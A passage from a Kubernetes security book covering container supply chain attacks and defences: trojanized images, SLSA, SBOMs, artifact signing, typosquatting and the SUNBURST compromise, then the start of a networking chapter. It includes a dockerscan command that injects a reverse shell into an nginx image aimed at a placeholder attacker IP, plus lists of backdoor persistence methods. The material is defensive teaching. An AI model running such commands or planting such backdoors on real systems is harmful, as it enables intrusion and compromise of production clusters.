in order to defend yourself against similar attacks.

The granular security policy of a container is an opportunity to reconsider applications as “compromised-by-default,” and configure them so they’re better protected against zero-day or unpatched vulnerabilities.

Note

One such historical vulnerability was

DirtyCOW: a race condition in the Linux kernel’s privileged memory mapping code that allowed unprivileged local users to escalate to root.

The bug allowed an attacker to gain a root shell on the host, and was exploitable from inside a
container that didn’t block ptrace
. One of the authors live demoed preventing a DirtyCOW container breakout
with an AppArmor profile that blocked the ptrace
system call. There’s an example Vagrantfile to reproduce the bug in Scott Coulton’s repo
.

Detecting Trojans

Tools like

dockerscan
can trojanize
a container:

trojanize: inject a reverse shell into a docker image

dockerscan

Note

We go into more detail on attacking software and libraries in “Captain Hashjack Attacks a Supply Chain”
.

To trojanize a webserver
image is simple:

$

docker

save

nginx:latest

-o

webserver.tar

$

dockerscan

image

modify

trojanize

webserver.tar

\

--listen

"

${

ATTACKER_IP

}

"

--port

"

${

ATTACKER_PORT

}

"

--output

trojanized-webserver

Export a valid webserver
tarball from a container image.

Trojanize the image tarball.

Specify the attacker’s shellcatcher IP and port.

Write to an output tarball called trojanized-webserver
.

It’s this sort of attack that you should scan your container images to detect and prevent. As dockerscan
uses an LD_PRELOAD
attack that most container IDS and scanning should detect.

Dynamic analysis
of software involves running it in a malware lab environment where it is unable to communicate with the internet and is observed for signs of C2 (“command and control”), automated attacks, or unexpected behavior.

Note

Malware such as

WannaCry (a cryptolocking worm) includes a disabling “killswitch” DNS record (sometimes secretly used by malware authors to remotely terminate attacks). In some cases, this is used to delay the deployment of the malware until a convenient time for the attacker.

Together an artifact and its runtime behavior should form a picture of the trustworthiness of a single package, however there are workarounds. Logic
bombs (behavior only executed on certain conditions) make this difficult to detect unless the logic is known. For example, SUNBURST closely emulated the valid HTTP calls of the software it infected. Even tracing a compromised application with tools such as sysdig
does not clearly surface this

type of
attack.

Captain Hashjack Attacks a Supply Chain

You know BCTL hasn’t put enough effort into supply chain security. Open source ingestion isn’t regulated, and developers ignore the results of CVE scanning in the pipeline.

Dread Pirate Hashjack dusts off their keyboard and starts the attack. The goal is to add malicious code to a container image, an open source package, or an operating system application that your team will run in production.

In this case, Captain Hashjack is looking to attack the rest of your systems from a foothold in an initial pod attack. When the malicious code runs inside your pods it will connect back to a server that the Captain controls. That connection will relay attack commands to run inside that pod in your cluster so the pirates can have a look around, as shown in Figure 4-4
.

From this position of remote control, Captain Hashjack might:

- Enumerate other infrastructure around the cluster like datastores and internally facing software

- Try to escalate privilege and take over your nodes or cluster

- Mine cryptocurrency

- Add the pods or nodes to a botnet, use them as servers, or “watering holes” to spread malware

- Any other unintended misuse of your noncompromised systems.

Figure 4-4.
Establishing remote access with a supply chain compromise

The Open Source Security Foundation (OpenSSF)
’s SLSA Framework
(“Supply-chain Levels for Software Artifacts,” or “Salsa”) works on the principle that “It can take years to achieve the ideal security state, and intermediate milestones are important.” It defines a graded approach to adopting supply chain security for your builds (see Table 4-2
).

Table 4-2.
OpenSSF SLSA levels

Level

Description

Requirements

0

No guarantees

SLSA 0 represents the lack of any SLSA level.

1

Provenance checks to help evaluate risks and security

The build process must be fully scripted/automated and generate provenance.

2

Further checks against the origin of the
software

Requires using version control and a hosted build service that generates authenticated provenance. This results in tamper resistance of the build service.

3

Extra resistance to specific classes of threats

The source and build platforms meet specific standards to guarantee the auditability of the source and the integrity of the provenance respectively. Advanced protection including security controls on host, non-falsifiable provenance, and prevention of cross-build contamination.

4

Highest levels of confidence and trust

Strict auditability and reliability checks. Requires two-person review of all changes and a hermetic, reproducible build process.

Let’s move on to the
aftermath.

Post-Compromise Persistence

Before attackers
do something that may be detected by the defender, they look to establish persistence, or a
backdoor, so they can, for example, enter the system if they get detected or unceremoniously ejected, as their method of intrusion is patched.

Note

When containers
restart, filesystem changes are lost, so persistence is not possible just by writing to the container filesystem. Dropping a “back door” or other persistence mechanism in Kubernetes requires the attacker to use other parts of Kubernetes or the kubelet
on the host, as anything they write inside the container is lost when it restarts.

Depending on how you were compromised, Captain Hashjack now has various options available. None are possible in a well-configured container without excessive RBAC privilege, although this doesn’t stop the attacker exlpoiting the same path again and looking to pivot to another part of your system.

Possible persistence in Kubernetes can be gained by:

- Starting a static privileged pod through the kubelet
’s static manifests

- Deploying a privileged container directly using the container runtime

- Deploying an admission controller or CronJob with a backdoor

- Deploying a shadow API server with custom authentication

- Adding a mutating webhook that injects a backdoor container to some new pods

- Adding worker or control plane nodes to a botnet or C2 network

- Editing container lifecycle postStart
and preStop
hooks to add backdoors

- Editing liveness probes to exec a backdoor in the target container

- Any other mechanism that runs code under the attacker’s control

Risks to Your Systems

Once they have established
persistence, attacks may become more bold and dangerous:

- Exfiltrating data, credentials, and cryptocurrency wallets

- Pivoting further into the system via other pods, the control plane, worker nodes, or cloud account

- Cryptojacking compute resources (e.g., mining Monero in Docker containers
)

- Escalating privilege in the same pod

- Cryptolocking data

- Secondary supply chain attack on target’s published artifacts/software

Let’s move on to container
images.

Container Image Build Supply Chains

Your developers have written code that needs to be built and run in production. CI/CD automation enables the building and deployment of artifacts, and is a traditionally appealing target due to less security rigor than the production systems it deploys to.

To address this insecurity, the Software Factory

pattern is gaining adoption as a model for building the pipelines to build software.

Software Factories

A Software Factory is a form of CI/CD
that focuses on self-replication. It is a build system that can deploy copies of itself, or other parts of the system, as new

CI/CD pipelines. This focus on replication ensures build systems are repeatable, easy to deploy, and easy to replace. They also assist iteration and development of the build infrastructure itself, which makes securing these types of systems much easier.

Use of this pattern requires slick DevOps skills, continuous integration, and build automation practices, and is ideal for containers due to their compartmentalised nature.

Tip

The DoD Software Factory pattern
defines the
Department of Defense’s best practice ideals for building secure, large-scale cloud or on-prem cloud native infrastructure.

Container images built from, and used to build, the DoD Software Factory are publicly available at IronBank GitLab
.

Cryptographic

signing of build steps and artifacts can increase trust in the system, and can be revalidated with an admission controller such as portieris
for Notary and Kritis
for Grafeas.

Tekton
is a Kubernetes-based build system that runs build stages in containers. It runs Kubernetes Custom Resources
that define build steps in pods, and Tekton Chains
can use in-toto to sign the pod’s workspace files. Jenkins X
is built on top of it and extends its feature set.

Tip

Dan Lorenc
elegantly summarised the supply chain signing landscape

.

Blessed Image Factory

Some software

factory pipelines are used to build and scan your base images, in the same way virtual machine images are built: on a cadence, and in response to releases of the underlying image. An image build is untrusted if any of the inputs to the build are not trusted. An adversary can attack
a container build with:

- Malicious commands in a RUN
directive that can attack the host

- Host’s non-loopback network ports/services

- Enumeration of other network entities (cloud provider, build infrastructure, network routes to production)

- Malicious FROM
image that has access to build Secrets

- Malicious image that has ONBUILD
directive

- Docker-in-docker and mounted container runtime sockets that can lead to host breakout

- Zero-days in container runtime or kernel

- Network attack surface (host, ports exposed by other builds)

To defend from malicious
builds, you should begin
with static analysis using Hadolint
and conftest
to enforce your policy. For
example:

$

docker run --rm -i hadolint/hadolint < Dockerfile
/dev/stdin:3 DL3008 Pin versions in apt get install.
/dev/stdin:5 DL3020 Use COPY instead of ADD for

files and folders

Conftest wraps OPA and runs Rego language
policies (see “Open Policy Agent”
):

$

conftest test

--policy ./test/policy --all-namespaces Dockerfile
2

tests, 2

passed, 0

warnings, 0

failures, 0

exceptions

If the Dockerfile
conforms to policy, scan the container build workspace with tools like trivy. You can also build and then scan, although this is slightly riskier if an attack spawns a reverse shell into the build environment.

If the container’s scan is safe, you can perform a build.

Tip

Adding a hardening stage to the Dockerfile helps to remove unnecessary files and binaries that an attacker may try to exploit, and
is detailed in DoD’s Container Hardening Guide
.

Protecting the build’s network is important, otherwise malicious code in a container build can pull further dependencies and malicious code from the internet. Security
controls of varying difficulty include:

- Preventing network egress

- Isolating from the host’s kernel with a VM

- Running the build process as a nonroot user or in a user namespace

- Executing RUN
commands as a nonroot user in container filesystem

- Share nothing nonessential with the
build

Base Images

When an

application is being packaged for deployment it must be built into a container image. Depending on your choice of programming language and application dependencies, your

container will use one of the base images from Table 4-3
.

Table 4-3.
Types of base images

Type of base image

How it’s built

Contents of image filesystem

Example container image

Scratch

Add one (or more) static binary to an empty container root filesystem.

Nothing at all except /my-binary
(it’s the only thing in /
directory), and any added dependencies (often CA bundles, locale information, static files for the application).

Static Golang or Rust binary examples

Distroless

Add one (or more) static binary to a container that has locale and CA information only (no Bash, Busybox, etc.).

Nothing except my-app
, /etc/locale
, TLS pubkeys, (plus any dependencies, as per scratch), etc.

Static Golang or Rust binary examples

Hardened

Add nonstatic binary or dynamic application to a minimal container, then remove all nonessential files and harden filesystem.

Reduced Linux userspace: glibc
, /code/my-app.py
, /code/deps
, /bin/python
, Python libs, static files for the application.

Web servers, nonstatic or complex applications, IronBank examples

Vanilla

No security precautions, possibly dangerous.

Standard Linux userspace. Root user. Possibly anything and everything required to install, build, compile, or debug applications. This offers many opportunities for attack.

NGINX
, raesene/alpine-nettools
, nicolaka/netshoot

Minimal containers

minimize a

container’s attack surface to a hostile process or RCE, reducing an adversary to very advanced tricks like return-oriented programming
that are beyond
most attackers’ capabilities. Organized criminals like Dread Pirate Hashjack may be able to use these programming techniques, but exploiting vulnerabilities like these are valuable and perhaps more likely to be sold to an exploit broker than used in the field, potentially reducing their value if discovered.

Because statically compiled binaries ship their own system call library, they do not need glibc
or another userspace kernel interface, and can exist with only themselves on the filesystem (see Figure 4-5
).

Figure 4-5.
How scratch containers and glibc
talk to the kernel

Let’s step back a bit now: we need to take stock of our supply

chain.

The State of Your Container Supply Chains

Applications in containers

bundle all their userspace dependencies with them, and this allows us to inspect the composition of an application. The blast radius of a compromised container is less than a bare metal server (the container provides security configuration around the namespaces), but exacerbated by the highly parallelised nature of a Kubernetes workload deployment.

Secure third-party code ingestion requires trust and verification of upstream dependencies.

Kubernetes components (OS, containers, config) are a
supply chain risk in themselves. Kubernetes distributions that pull unsigned artifacts from object storage (such as S3 and GCS) have no way of validating that the developers meant them to run those containers. Any containers with “escape-friendly configuration” (disabled security features, a lack of hardening, unmonitored and unsecured, etc.) are viable assets for attack.

The same is true of supporting applications (logging/monitoring, observability, IDS)—anything
that is installed as root, that is not hardened, or indeed not architected for resilience to compromise, is potentially subjected to swashbuckling attacks from hostile
forces.

Third-Party Code Risk

During the image build your

application installs dependencies into the container, and the same dependencies are often installed onto developers’ machines. This requires the secure ingestion of third party and open source code.

You value your data security, so running any code from the internet without first verifying it could be unsafe. Adversaries like Captain Hashjack may have left a backdoor to enable remote access to any system that runs their malicious code. You should consider the risk of such an attack as sufficiently low before you allow the software inside your organization’s corporate network and production systems.

One method to scan ingested code is shown in Figure 4-6
. Containers (and other code) that originate outside your organization are pulled from the internet onto a temporary virtual machine. All software signatures and checksums are verified, binaries and source code are scanned for CVEs and malware, and the artifact is packaged and signed for consumption in an internal registry.

Figure 4-6.
Third-party code ingestion

In this example a container pulled from a public registry is scanned for CVEs, e.g., tagged for the internal domain, then signed with Notary and pushed to an internal registry, where it can be consumed by Kubernetes build systems and your developers.

When ingesting third-party code you should be cognizant of who has released it and/or signed the package, the dependencies it uses itself, how long it has been published for, and how it scores

in your internal static analysis pipelines.

Tip

Aqua’s Dynamic Threat Analysis for Containers
runs potentially hostile

containers in a sandbox to observe their behavior for signs of malice.

Scanning third-party code before it enters your network protects you from some supply chain compromises, but targeted attacks may be harder to defend against as they may not use known CVEs or malware. In these cases you may want to observe it running as part of your

validation.

Software Bills of Materials

Creating a software bill of materials (SBOM)

for a container image is easy with tools like syft
, which
supports APK, DEB, RPM, Ruby Bundles, Python Wheel/Egg/requirements.txt, JavaScript NPM/Yarn, Java JAR/EAR/WAR, Jenkins plugi-ns JPI/HPI, and Go modules.

It can generate output in the CycloneDX
XM
format. Here it is running on a container with a single static binary:

user@host:~

[

0

]

$

syft

packages

controlplane/bizcard:latest

-o

cyclonedx

Loaded

image

Parsed

image

Cataloged

packages

[

0

packages

]

<

?xml

version

=

"1.0"

encoding

=

"UTF-8"

?>

<

bom

xmlns

=

"http://cyclonedx.org/schema/bom/1.2"

version

=

"1"

serialNumber

=

"urn:uuid:18263bb0-dd82-4527-979b-1d9b15fe4ea7"

>

<

metadata>

<

timestamp>2021-05-30T19:15:24+01:00

<

/timestamp>

<

tools>

<

tool>

<

vendor>anchore

<

/vendor>

<

name>syft

<

/name>

<

version>0.16.1

<

/version>

<

/tool>

<

/tools>

<

component

type

=

"container"

>

<

name>controlplane/bizcard:latest

<

/name>

<

version>sha256:183257b0183b8c6420f559eb5591885843d30b2

<

/version>

<

/component>

<

/metadata>

<

components>

<

/components>

<

/bom>

The vendor of the tool used to create the SBOM.

The tool that’s created the SBOM.

The tool version.

The supply chain component being scanned and its type of container.

The container’s name.

The container’s version, a SHA256 content hash, or digest.

A bill of materials is just a packing list for your software artifacts. Running against the alpine:base
image, we see an SBOM with software licenses
(output edited to fit):

user@host:~ [

0]

$

syft packages alpine:latest -o cyclonedx
✔ Loaded image
✔ Parsed image
✔ Cataloged packages [

14

packages]

<?xml version

=

"1.0"

encoding

=

"UTF-8"

?>
<bom xmlns

=

"http://cyclonedx.org/schema/bom/1.2"

version

=

"1"

serialNumber

=

"urn:uuid:086e1173-cfeb-4f30-8509-3ba8f8ad9b05"

>
<metadata>
<timestamp>2021-05-30T19:17:40+01:00</timestamp>
<tools>
<tool>
<vendor>anchore</vendor>
<name>syft</name>
<version>0.16.1</version>
</tool>
</tools>
<component type

=

"container"

>
<name>alpine:latest</name>
<version>sha256:d96af464e487874bd504761be3f30a662bcc93be7f70bf</version>
</component>
</metadata>
<components>
...
<component type

=

"library"

>
<name>musl</name>
<version>1.1.24-r9</version>
<licenses>
<license>
<name>MIT</name>
</license>
</licenses>
<purl>pkg:alpine/musl@1.1.24-r9?arch=

x86_64</purl>
</component>
</components>
</bom>

These verifiable artifacts can be signed by supply chain security tools like cosign
, in-toto
, and notary
. When consumers

demand that suppliers produce verifiable artifacts and bills of materials from their own audited, compliant, and secure software factories, the supply chain will become harder to compromise for the casual

attacker.

Warning

An attack on source code prior to building an artifact or generating an SBOM from it is still trusted, even if it is actually malicious, as with SUNBURST. This is why the build infrastructure must be secured.

Human Identity and GPG

Signing Git commits

with GNU Privacy Guard (GPG) signatures identifies the owner of they key as having trusted the commit at the time of signature. This is useful to increase trust, but requires public key infrastructure (PKI), which is

notoriously difficult to secure entirely.

Signing data is easy—the verification is hard.

Dan Lorenc

The problem with PKI is the
risk of breach of the PKI infrastructure. Somebody is always responsible for ensuring the public key infrastructure (the servers that host individuals’ trusted public keys) is not compromised and is reporting correct data. If PKI is compromised, an entire organization may be exploited as attackers add keys they control to trusted users.

Signing Builds and Metadata

In order to trust

the output of your build infrastructure, you need to sign it so consumers can verify that it came from you. Signing metadata like SBOMs also allows consumers to detect vulnerabilities where the code is deployed in their systems. The following tools help by signing your artifacts, containers, or metadata.

Notary v1

Notary is

the signing system built into Docker, and implements The

Update Framework (TUF). It’s used for shipping software updates, but wasn’t enabled in Kubernetes as it requires all images to be signed, or it won’t run them. portieris
implements Notary as an admission controller for Kubernetes instead.

Notary v2
supports creating multiple signatures for OCI Artifacts and storing them in OCI image registries.

sigstore

sigstore is a

public software signing and transparency service, which can sign containers with cosign
and store the signatures in an OCI repository, something missing from Notary v1. As anything can be stored in a container (e.g., binaries, tarballs, scripts, or configuration files), cosign
is a general artifact signing tool with OCI as its packaging format.

sigstore
provides free certificates and tooling to automate and verify signatures of source code.

sigstore release announcement

Similar to Certificate Transparency, it has an append-only cryptographic ledger of events (called rekor
), and each event has signed metadata about a software release as shown in Figure 4-7
. Finally, it supports “a free Root-CA for code signing certs, that is, issuing certificates based on an OIDC email address” in fulcio
. Together, these tools dramatically improve the capabilities of the supply chain security landscape.

It is designed for open source software, and is under rapid development. There are integrations for TUF and in-toto, hardware-based tokens are supported, and it’s compatible with most OCI registries.

sigstore
’s cosign is used to sign the Distroless base image family
.

Figure 4-7.
Storing sigstore manifests in the rekor transparency log

in-toto and TUF

The in-toto toolchain

checksums and signs software builds—the steps and output of CI/CD

pipelines. This provides transparent metadata about software build processes. This increases the trust a consumer has that an artifact was built from a specific source code revision.

in-toto link metadata (describing transitions between build stages and signing metadata about them) can be stored by tools like rekor and Grafeas, to be validated by consumers at time of use.

The in-toto signature ensures that a trusted party (e.g., the build server) has built and signed these objects. However, there is no guarantee that the third party’s keys have not been compromised—the only solution for this is to run parallel, isolated build environments and cross-check the cryptographic signatures. This is done with reproducible builds (in Debian, Arch Linux, and PyPi) to offer resilience to build tool compromise.

This is only possible if the CI and builds themselves are deterministic (no side effects of the build) and reproducible (the same artifacts are created by the source code). Relying on temporal or stochastic behaviors (time and randomness) will yield unreproducible binaries, as they are affected by timestamps in logfiles, or random seeds that affect compilation.

When using in-toto, an organization increases trust in their pipelines and artifacts, as there are verifiable signatures for everything. However, without an objective threat model or security assessment of the original build infrastructure, this doesn’t protect supply chains with a single build server that may have been compromised.

Producers using in-toto with consumers that verfiy signatures makes an attacker’s life harder. They must fully compromise the signing infrastructure (as with SolarWinds).

GCP Binary Authorization

The GCP Binary Authorization

feature allows signing of images and admission control to prevent unsigned, out of date, or vulnerable images from reaching production.

Validating expected signatures at runtime provides enforcement of

pipeline controls: is this image free from known vulnerabilities, or has a list of “accepted” vulnerabilities? Did it pass the automated acceptance tests in the pipeline? Did it come from the build pipeline at all?

Grafeas is used to store metadata from image scanning reports, and Kritis is an admission controller that verifies signatures and the absence of CVEs against the images.

Grafeas

Grafeas is a

metadata store for

pipeline metadata like vulnerability scans and test reports. Information about a container is recorded against its digest, which can be used to report on vulnerabilities of an organization’s images and ensure that build stages have successfully passed. Grafeas can also store in-toto link metadata.

Infrastructure Supply Chain

It’s also worth considering

your operating system base image, and the location your Kubernetes control plane containers and packages are installed from.

Some distributions have historically modified and repackaged Kubernetes, and this introduces further supply chain risk of malicious code injection. Decide how you’ll handle this based upon your initial threat model, and architect systems and networks for compromise resilience.

Operator Privileges

Kubernetes Operators

are designed to reduce human error by automating Kubernetes configuration, and reactive to events. They interact with Kubernetes and whatever other resources are under the operator’s control. Those resources may be in a single namespace, multiple namespaces, or outside of Kubernetes. This means they are often highly privileged to enable this complex automation, and so bring a level of risk.

An Operator-based supply chain attack might allow Captain Hashjack to discreetly deploy their malicious workloads by misusing

RBAC, and a rogue resource could go completely undetected. While this attack is not yet widely seen, it has the potential to compromise a great number of clusters.

You must appraise and security-test third-party Operators
before trusting them: write tests for their RBAC permissions so you are alerted if they change, and ensure an Operator’s securityContext
configuration is suitable for the workload.

Attacking Higher Up the Supply Chain

To attack BCTL,
Captain Hashjack may consider attacking the organizations that supply its software, such as operating systems, vendors, and open source packages. Your open source libraries

may also have vulnerabilities, the most devastating of which has historically been

an Apache Struts RCE, CVE-2017-5638.

Trusted open source libraries may have been “backdoored” (such as NPM’s
event-stream
package
) or may be removed from the registry while in active use, such as
left-pad

(although registries now look to avoid this by preventing “unpublishing” packages).

Note

CVE-2017-5638 affected Apache Struts, a Java web framework.

The server didn’t parse Content-Type
HTTP headers

correctly, which allowed any commands
to be executed in the process namespace as the web server’s user.

Struts 2 has a history of critical security bugs,[3] many tied to its use of OGNL technology;[4] some vulnerabilities can lead to arbitrary code execution.

Wikipedia

Code distributed by vendors can be compromised, as Codecov was
. An
error in its container image creation process allowed an attacker to modify a Bash uploader script run by customers to start builds. This attack compromised build Secrets that may then have been used against other systems.

Tip

The number of organizations using Codecov was significant. Searching for Git repos with grep.app
showed there were over 9,200 results in the top 500,000 public Git repos. GitHub
shows 397,518 code results at the time of this writing.

Poorly written code that fails to handle untrusted user input or internal errors may have remotely exploitable vulnerabilities. Application security is responsible for preventing this easy access to your systems.

The industry-recognised moniker for this

is “shift left,” which means you should run static and dynamic analysis of the code your developers write as they write it: add automated tooling to the IDE, provide a local security testing workflow, run configuration tests before deployment, and generally don’t leave security considerations to the last possible moment as has been traditional in
software.

Types of Supply Chain Attack

TAG

Security’s Catalog of Supply Chain Compromises
lists

attacks affecting packages with millions of weekly downloads across various application dependency repositories and vendors, and hundreds of millions of total installations.

The combined downloads, including both benign and malicious versions, for the most popular malicious packages (event-stream
—190 million, eslint-scope
—442 million, bootstrap-sass
—30 million, and rest-client
—114 million) sum to 776 million.

“Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”

In the quoted paper, the authors identify four actors in the
open source supply chain:

- Registry Maintainers (RMs)

- Package Maintainers (PMs)

- Developers (Devs)

- End-users (Users)

Those with consumers have a responsibility to verify the code they pass to their customers, and a duty to provide verifiable metadata to build confidence in the artifacts.

There’s a lot to defend from to ensure that Users receive a trusted artifact (Table 4-4
):

- Source code

- Publishing infrastructure

- Dev tooling

- Malicious maintainer

- Negligence

- Fake toolchain

- Watering-hole attack

- Multiple steps

Registry maintainers should guard publishing infrastructure from typosquatters: individuals that register a package that looks similar to a widely deployed package.

Table 4-4.
Examples of attacking publishing infrastructure

Attack

Package name

Typosquatted name

Typosquatting

event-stream

eventstream

Different account

user/package

usr/package, user_/package

Combosquatting

package

package-2, package-ng

Account takeover

user/package

user/package—no change as the user has been compromised by to the attacker

Social engineering

user/package

user/package—no change as the user has willingly given repository access to the attacker

As Figure 4-8
demonstrates, the

supply chain of a

package manager holds many risks.

Figure 4-8.
Simplified relationships of stakeholders and threats in the package manager ecosystem (source: “Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”
)

Open Source Ingestion

This attention to detail may

become exhausting when applied to every package and quickly becomes impractical at scale. This is where a web of trust between producers and consumers alleviates some of the burden of double-checking the proofs at every link in the chain. However, nothing can be fully trusted, and regular reverification of code is necessary to account for newly announced CVEs or zero-days.

In “Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”, the authors identify relevant issues as listed in Table 4-5
.

Table 4-5.
Heuristic rules derived from existing supply chain attacks and other malware studies

Type

Description

Metadata

The package name is similar to popular ones in the same registry.

The package name is the same as popular packages in other registries, but the authors are different.

The package depends on or shares authors with known malware.

The package has older versions released around the time as known malware.

The package contains Windows PE files or Linux ELF files.

Static

The package has customized installation logic.

The package adds network, process, or code generation APIs in recently released versions.

The package has flows from filesystem sources to network sinks.

The package has flows from network sources to code generation or process sinks.

Dynamic

The package contacts unexpected IPs or domains, where expected ones are official registries and code hosting services.

The package reads from sensitive file locations such as /etc/shadow, /home/<user>/.ssh, /home/<user>/.aws
.

The package writes to sensitive file locations such as /usr/bin, /etc/sudoers, /home/<user>/.ssh/authorized_keys
.

The package spawns unexpected processes, where expected ones are initialized to registry clients (e.g., pip).

The paper summarises that:

- Typosquatting and account compromise are low-cost to an attacker, and are the most widely exploited attack vectors.

- Stealing data and dropping backdoors are the most common malicious post-exploit behaviors, suggesting wide consumer targeting.

- 20% of identified malwares have persisted in package managers for over 400 days and have more than 1K downloads.

- New techniques include code obfuscation, multistage payloads, and logic bombs to evade detection.

Additionally, packages with lower numbers of installations are unlikely to act quickly on a reported compromise as Figure 4-9
demonstrates. It could be that the developers are not paid to support these open source packages. Creating incentives for these maintainers with well-written patches and timely assistance merging them, or financial support for handling reports from a bug bounty program, are effective ways to decrease vulnerabilities in popular but rarely maintained

packages.

Figure 4-9.
Correlation between number of persistence days and number of downloads (R&R = Reported and Removed; R&I = Reported and Investigating) (source: “Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages”
)

Application Vulnerability Throughout the SDLC

The Software Development Lifecycle (SDLC) is an
application’s journey from a glint in a developer’s eye, to its secure build and deployment on production systems.

As applications progress from development to production they have a varying risk profile, as shown Table 4-6
.

Table 4-6.
Application vulnerabilities throughout the SDLC

System lifecycle stage

Higher risk

Lower risk

Development to production deployment

Application code (changes frequently)

Application libraries, operating system packages

Established production deployment to decommissioning

Slowly decaying application libraries and operating system packages

Application code (changes less frequently)

The risk profile of an application running in production changes as its lifespan lengthens, as its software becomes progressively more out-of-date. This is known as “reverse uptime”—the correlation between risk of an application’s compromise and the time since its deployment (e.g., the date of the container’s build). An average of reverse uptime in an organization could also be considered “mean time to …”:

- Compromise (application has a remotely exploitable vulnerability)

- Failure (application no longer works with the updated system or external APIs)

- Update (change application code)

- Patch (to update dependencies versions explicitly)

- Rebuild (to pull new server
dependencies)

Defending Against SUNBURST

So would the techniques in this

chapter save you from a SUNBURST-like attack? Let’s look at how it worked.

The attackers gained access to the SolarWinds systems on 4th September 2019 (Figure 4-10
). This might have happened perhaps through a spear-phishing email attack that allowed further escalation into SolarWind’s systems or through some software misconfiguration they found in build infrastructure or internet-facing servers.

Figure 4-10.
SUNSPOT timeline

The threat actors stayed hidden for a week, then started testing the SUNSPOT injection code that would eventually compromise the SolarWinds product. This phase progressed quietly for two months.

Internal detection may have discovered the attackers here, however build infrastructure is rarely subjected to the same level of security scrutiny, intrusion detection, and monitoring as production systems. This is despite it delivering code to production or customers. This is something we can address using our more granular security controls around containers. Of course, a backdoor straight into a host system remains difficult to detect unless intrusion detection is running on the host, which may be noisy on shared build nodes that necessarily run many jobs for its consumers.

Almost six months after the initial compromise of the build infrastructure, the SUNSPOT malware

was deployed. A month later, the infamous SolarWinds Hotfix 5 DLL containing the malicious implant was made available to customers, and once the threat actor confirmed that customers were infected, it removed its malware from the build VMs.

It was a further six months before the customer infections

were identified.

This SUNSPOT malware changed source code immediately before it was compiled and immediately back to its original form afterwards, as shown in Figure 4-11
. This required observing the filesystem and changing its contents.

Figure 4-11.
SUNSPOT malware

A build-stage signing tool that verifies its inputs and outputs (as in-toto does) then invokes a subprocess to perform a build step may be immune to this variant of the attack, although it may turn security into a race condition between the in-toto hash function and the malware that modifies the filesystem.

Bear in mind that if an attacker has control of your build environment, they can potentially modify any files in it. Although this is bad, they cannot regenerate signatures made outside the build: this is why your
cryptographically signed artifacts are safer than unsigned binary blobs or Git code. Tampering of signed or checksummed artifacts can be detected because attackers are unlikely to have the private keys to, for example, sign tampered data.

SUNSPOT changed the files that were about to be compiled. In a container build, the same problem exists: the local filesystem must be trusted. Signing the inputs and validating outputs goes some way to mitigating this attack, but a motivated attacker with full control of a build system may be impossible to disambiguate from build activity.

It may not be possible to entirely protect a build system without a complete implementation of all supply chain security recommendations. Your organization’s ultimate risk appetite should be used to determine how much effort you wish to expend protecting this vital, vulnerable part of your system: for example, critical infrastructure projects may wish to fully audit the hardware and software they receive, root chains of trust in hardware modules wherever possible, and strictly regulate the employees permitted to interact with build systems. For most organizations, this will

be deeply impractical.

Tip

Nixpkgs
(utilized in NixOS) bootstraps deterministically
from
a small collection of tools. This is perhaps the ultimate in reproducible builds, with some useful security side effects; it allows end-to-end trust and reproducibility for all images built from it.

Trustix
, another Nix
project, compares build outputs against a Merkle tree log across multiple untrusted build servers to determine if a build has been compromised.

So these recommendations might not truly prevent supply chain compromise like SUNBURST, but they can protect some of the attack vectors and reduce your total risk exposure. To protect your
build system:

- Give developers root access to integration and testing environments, not
build and packaging systems.

- Use ephemeral build infrastructure and protect builds from cache poisoning.

- Generate and distribute SBOMs so consumers can validate the artifacts.

- Run intrusion detection on build servers.

- Scan open source libraries and operating system packages.

- Create reproducible builds on distributed infrastructure and compare the results to detect tampering.

- Run hermetic, self-contained builds that only use what’s made available to them (instead of calling out to other systems or the internet), and avoid decision logic in build scripts.

- Keep builds simple and easy to reason about, and security review and scan the build scripts like any other software.

Conclusion

Supply chain attacks are difficult to defend completely. Malicious software on public container registries is often detected rather than prevented, with the same for application libraries, and potential insecurity is part of the reality of using any third-party software.

The SLSA Framework
suggests

the milestones to achieve in order to secure your supply chain, assuming your build infrastructure is already secure! The Software Supply Chain Security paper
details

concrete patterns and practices for Source Code, Materials, Build Pipelines, Artifacts, and Deployments, to guide you on your supply chain security voyage.

Scanning container images and Git repositories for published CVEs is a cloud native application’s minimal viable security. If you assume all workloads are potentially hostile, your container security context and configuration should be tuned to match the workload’s sensitivity. Container seccomp
and LSM profiles should always be configured to defend against new, undefined behavior or system calls from a freshly compromised dependency.

Sign your build artifacts with cosign, Notary, and in-toto during CI/CD, then validate their signatures whenever they are consumed. Distribute SBOMs so consumers can verify your dependency chain for new vulnerabilities. While these measures only contribute to wider supply chain security coverage, they frustrate attackers and decrease BCTL’s risk of falling prey to drive-by container pirates.

Chapter 5.
Networking

In this chapter we will focus on networking aspects of your workloads. We will first review the defaults that Kubernetes proper comes equipped with and what else is readily available due to integrations. We cover networking topics including East-West and North-South traffic—that is, intra-pod and inter-pod communication, communication with the worker node (hosts), cluster-external communication, workload identity, and encryption on the wire.

In the second part of this chapter we have a look at two more recent additions to the Kubernetes networking toolbox: service meshes and the Linux kernel extension mechanism eBPF. We try to give you a rough idea if, how, and where you can, going forward, benefit from both.

As you can see in Figure 5-1
, there
are many moving parts in the networking space.

Figure 5-1.
Network layer model

The good news is that most if not all of the protocols should be familiar to you, since Kubernetes uses the standard Internet Engineering Task Force (IETF) suite of

networking protocols, from the Internet Protocol
to the Domain Name System (DNS
). What changes, really, is the scope and generally the assumptions about how the protocols are used. For example, when deployed on a worldwide scale, it makes sense to make the time-to-live (TTL) of a DNS record months or longer.

In the context of a container that may run for hours or days at best, this assumption doesn’t hold anymore. Clever adversaries can exploit such assumptions and as you should know by now, that’s exactly what the Captain would do.

In this chapter we will focus on the protocols most often used in Kubernetes—and their weak points with respect to workloads. As Captain Hashjack likes to say, “loose lips sink ships,” so we’ll first explore for permissive networking defaults, then show how to attack them as well as discuss the controls you can implement to detect and mitigate these attacks.

Defaults

With defaults we mean the default values of configurations of components that you get when you use Kubernetes from source, in an unmodified manner. From a networking perspective, workloads

in Kubernetes have the following setup:

- Flat topology. Every pod can see and talk to every other pod in the cluster.

- No securityContext. Workloads can escalate to host network interface controller (NIC).

- No environmental restrictions. Workloads can query their host and cloud metadata.

- No identity for workloads.

- No encryption on the wire (between pods and cluster-external traffic).

While the preceding list might look scary, a different way to look at it might make it easier to assess the risks present. As depicted in Figure 5-2
, the

main communication paths in Kubernetes are as follows:

- Intra-pod traffic: containers within a pod communicating (see the next section)

